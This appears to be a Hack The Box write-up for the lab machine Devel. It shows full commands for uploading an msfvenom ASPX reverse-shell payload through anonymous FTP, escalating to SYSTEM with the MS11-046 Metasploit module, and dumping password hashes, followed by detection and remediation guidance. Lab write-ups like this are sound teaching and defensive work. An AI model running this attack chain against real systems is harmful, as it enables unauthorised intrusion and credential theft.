HTB: Devel

Overview

Devel demonstrates a misconfiguration chain that remains disturbingly common in real-world engagements: an FTP server with anonymous write access whose document root overlaps with a web server’s content directory. Upload a webshell, trigger it via HTTP, and you have code execution. The initial foothold is trivial — the interesting part is the privilege escalation from IIS APPPOOL\Web to NT AUTHORITY\SYSTEM on an unpatched Windows 7 host.

This box is a case study in misconfiguration stacking: no single flaw is exotic, but their combination creates a direct path from anonymous access to full system compromise.

Reconnaissance

nmap -sC -sV -oA scans/devel 10.129.8.111

Port	Service	Product / Version	Notes
21	FTP	Microsoft ftpd	Anonymous login permitted
80	HTTP	Microsoft IIS httpd 7.5	Default IIS landing page

Only two ports. The attack surface is minimal, which paradoxically makes enumeration faster — fewer rabbit holes.

IIS 7.5 maps to Windows 7 or Windows Server 2008 R2. The FTP service is Microsoft’s built-in FTP server, tightly integrated with IIS. This integration is the first hint: when Microsoft FTP and IIS are co-located, they often share the same physical directory.

FTP enumeration

ftp 10.129.8.111
# Connected to 10.129.8.111.
# 220 Microsoft FTP Service
# Name: anonymous
# 331 Anonymous access allowed, send identity (e-mail name) as password.
# Password: [blank]
# 230 User logged in.

ftp> dir
# 03-17-17  08:46AM <DIR>          aspnet_client
# 03-17-17  05:37AM              689 iisstart.htm
# 03-17-17  05:37AM            184946 welcome.png

iisstart.htm and welcome.png — these are the default IIS 7.5 welcome page assets. The FTP root is the IIS web root (C:\inetpub\wwwroot). This confirms the overlap.

Testing write access:

ftp> put test.txt
# 226 Transfer complete.

Verifying via HTTP:

curl http://10.129.8.111/test.txt
# test content appears

Write access confirmed. Anything uploaded via FTP is immediately served by IIS.

Attack Surface Analysis

The attack path is clear, but I want to understand the full picture before committing:

Vector	Feasibility	Impact	Notes
FTP anonymous write + IIS ASPX	High	Code execution	Confirmed: write access + web root overlap
IIS 7.5 known CVEs	Low	Varies	Few unauthenticated RCEs for IIS 7.5
FTP service exploits	Low	Varies	Microsoft ftpd has limited CVE history

The FTP-to-webshell path is the obvious choice. IIS 7.5 executes .aspx files natively, so I don’t need to find an upload bypass or hope for a misconfigured handler — ASPX execution is the default behaviour.

Vulnerability Analysis

This isn’t a CVE in the traditional sense — it’s a misconfiguration. But it’s worth decomposing into the individual failures that make it exploitable:

Failure 1: Anonymous FTP with write access

FTP anonymous access is a legitimate feature for public file distribution. Write access for anonymous users is almost never intentional in production. Microsoft’s own IIS hardening guide explicitly recommends disabling anonymous write.

Failure 2: Shared document root

The FTP virtual directory points to C:\inetpub\wwwroot — the same directory IIS serves. This creates a write-to-execute primitive: any file written via FTP becomes executable content via HTTP. These should be separate directories with distinct permissions.

Failure 3: No upload filtering

No file extension restrictions on FTP uploads. A properly configured FTP server would reject .aspx, .asp, .php, .exe, and other executable extensions even if write access were enabled.

The compound effect

Each misconfiguration alone is insufficient for compromise. Together, they form a kill chain:

Anonymous FTP login → Write .aspx to wwwroot → HTTP request triggers execution

This is why security assessments must evaluate configuration combinations, not just individual settings.

Exploitation

Generating the payload

I use msfvenom to create a staged Meterpreter payload in ASPX format. Staged payloads are smaller (important for restrictive upload environments) and allow Metasploit to handle the complexity of the post-exploitation framework:

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=tun0 LPORT=4444 \
  -f aspx -o shell.aspx

Why ASPX and not ASP? IIS 7.5 ships with .NET framework support enabled by default. ASPX handlers are registered out of the box. Classic ASP (.asp) may or may not be installed — ASPX is the safer bet.

Upload and trigger

# Upload via FTP
ftp 10.129.8.111
ftp> binary
ftp> put shell.aspx
# 226 Transfer complete.

# Start handler
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/meterpreter/reverse_tcp; \
  set LHOST tun0; set LPORT 4444; run"

# Trigger execution
curl http://10.129.8.111/shell.aspx

[*] Meterpreter session 1 opened (10.10.14.x:4444 -> 10.129.8.111:xxxxx)

Initial access context

meterpreter> getuid
# Server username: IIS APPPOOL\Web

meterpreter> sysinfo
# Computer    : DEVEL
# OS          : Windows 7 Enterprise (6.1 Build 7600).
# Architecture: x86
# Meterpreter : x86/windows

Two critical observations:

1. IIS APPPOOL\Web — a low-privilege virtual account. No administrative access, limited file system permissions, restricted token privileges. This is IIS 7.5’s application pool isolation working as designed.

2. Windows 7 Build 7600 — RTM release, no service packs. This is the original Windows 7 GA build from October 2009, never updated. The kernel exploit surface is enormous.

Privilege Escalation

Enumeration

Before reaching for kernel exploits, I check for simpler escalation paths:

meterpreter> getprivs
# SeAssignPrimaryTokenPrivilege
# SeChangeNotifyPrivilege
# SeIncreaseWorkingSetPrivilege

No SeImpersonatePrivilege — so potato-family attacks (JuicyPotato, PrintSpoofer, etc.) are off the table. This eliminates the most common IIS escalation path and pushes us toward kernel exploits.

systeminfo
# OS Name:    Microsoft Windows 7 Enterprise
# OS Version: 6.1.7600 N/A Build 7600
# Hotfix(s):  N/A

Zero hotfixes installed. This host has never been patched. Every local privilege escalation CVE from Windows 7 RTM onward is potentially viable.

Selecting the exploit

I use local_exploit_suggester to survey the options:

meterpreter> run post/multi/recon/local_exploit_suggester

Multiple candidates appear. I select MS11-046 (exploit/windows/local/ms11_046_afd_callbackoverflow) for its reliability:

Attribute	Value
CVE	CVE-2011-1249
CVSS v2	7.2 (High) — AV:L/AC:L/Au:N/C:C/I:C/A:C
CWE	CWE-120 (Buffer Copy without Checking Size of Input)
Root cause	Stack buffer overflow in afd.sys (Ancillary Function Driver)
Affected	Windows XP SP3, Vista SP1/SP2, 7 RTM/SP1, Server 2003/2008
Fixed in	MS11-046 (KB2503665)
MITRE ATT&CK	T1068 (Exploitation for Privilege Escalation)

How MS11-046 works

The Ancillary Function Driver (afd.sys) handles Winsock operations in kernel mode. The vulnerability is in the AfdPoll routine, which processes IOCTL_AFD_POLL requests from user mode. A specially crafted poll request with an oversized NumberOfHandles field triggers a stack buffer overflow in the kernel’s pool memory.

The exploit allocates a controlled buffer, triggers the overflow to overwrite the return address on the kernel stack, and redirects execution to shellcode that replaces the current process’s token with the SYSTEM token. The process returns to user mode running as NT AUTHORITY\SYSTEM.

This is a local exploit — it requires code execution on the target, which we already have via the webshell.

Execution

use exploit/windows/local/ms11_046_afd_callbackoverflow
set SESSION 1
set LHOST tun0
set LPORT 5555
run

[*] Meterpreter session 2 opened (10.10.14.x:5555 -> 10.129.8.111:xxxxx)

meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

Full system compromise.

Post-Exploitation

type C:\Users\babis\Desktop\user.txt
# [redacted]

type C:\Users\Administrator\Desktop\root.txt
# [redacted]

Credential harvesting

With SYSTEM access, I can extract the SAM database:

meterpreter> hashdump
# Administrator:500:[LM hash]:[NTLM hash]:::
# babis:1000:[LM hash]:[NTLM hash]:::
# Guest:501:[LM hash]:[NTLM hash]:::

In a real engagement, these NTLM hashes would be tested for credential reuse across the network (pass-the-hash) and cracked offline for plaintext passwords that might unlock other systems, VPNs, or cloud accounts.

Persistence considerations

A real attacker establishing persistence on this host would likely:

• Create a local administrator account
• Install a service-level backdoor
• Add a scheduled task running as SYSTEM
• Modify the IIS configuration to include a persistent webshell in a less obvious location than wwwroot

Defensive Analysis

Phase	MITRE ATT&CK	Detection
Initial access	T1078.001	FTP logs showing anonymous write of .aspx files
Execution	T1505.003	IIS W3SVC logs: GET/POST to newly created .aspx file
Privilege escalation	T1068	Sysmon Event ID 10 — w3wp.exe spawning process with SYSTEM token
Credential access	T1003.002	SAM registry hive access from non-LSASS process

FTP monitoring: Any write operation via anonymous FTP should generate an alert, full stop. Writing executable file extensions (.aspx, .asp, .php, .jsp) should be a critical-severity event.

IIS request anomalies: The web server logs will show a request to /shell.aspx — a file that didn’t exist minutes ago and was never part of a deployment. File integrity monitoring (FIM) on the web root directory would catch this immediately.

Process genealogy: The privilege escalation creates a distinctive process tree: w3wp.exe (IIS worker) spawning a child process that then acquires a SYSTEM token. Endpoint Detection and Response (EDR) tools flag this pattern reliably — it’s a well-known indicator of web server compromise.

Kernel exploit artefacts: afd.sys exploitation typically generates a kernel crash dump if the exploit fails, and leaves pool allocation artefacts that forensic analysis can identify. Windows Event Log entries for unexpected afd.sys behaviour (Event ID 7034/7045) may also appear.

Remediation

Priority	Action	Effort	Impact
P0	Disable anonymous FTP write access	Low	Critical
P0	Separate FTP and IIS document roots	Low	Critical
P0	Apply all Windows updates (SP1 + cumulative patches)	Medium	Critical
P1	Restrict FTP upload file extensions	Low	High
P1	Deploy FIM on C:\inetpub\wwwroot	Low	High
P2	Run IIS application pool as a custom least-privilege account	Medium	Medium
P2	Enable IIS request filtering to block unknown file types	Low	Medium
P3	Deploy EDR with process genealogy monitoring	Medium	Medium

The architectural fix is straightforward: never allow an unauthenticated write path to a directory that serves executable content. This principle applies beyond FTP+IIS — it’s the same flaw pattern behind unrestricted file upload vulnerabilities in web applications (CWE-434). The defence is separation of concerns: upload directories should be outside the web root, or the web server should be configured to serve uploads as static content only (no script execution).

For the privilege escalation, the fix is simply patching. Windows 7 Build 7600 with zero hotfixes is not a realistic production scenario — but unpatched systems do exist in OT environments, isolated lab networks, and organisations with broken patch management pipelines. The compensating control is application whitelisting (AppLocker, WDAC) that prevents unauthorised executables from running, even if an attacker achieves code execution through a webshell.

Key Takeaways

1. Misconfiguration stacking is the real threat model. No single setting on this box is unusual in isolation — FTP with anonymous access, IIS serving its default directory, a Windows install without patches. The compound effect is total compromise. Security assessments must evaluate configuration combinations, not individual settings.

2. IIS application pool isolation works — until it doesn’t. The initial foothold was correctly sandboxed as IIS APPPOOL\Web with a restricted token. But isolation is a speed bump, not a wall. On an unpatched kernel, the escalation from low-privilege to SYSTEM is a matter of selecting the right exploit module. Defence in depth means patching and isolating and monitoring.

3. Web shells are the most common persistence mechanism in real breaches. The 2024 Verizon DBIR consistently ranks web shell installation as a top post-compromise action. File integrity monitoring on web-accessible directories is one of the highest-value, lowest-effort controls an organisation can deploy.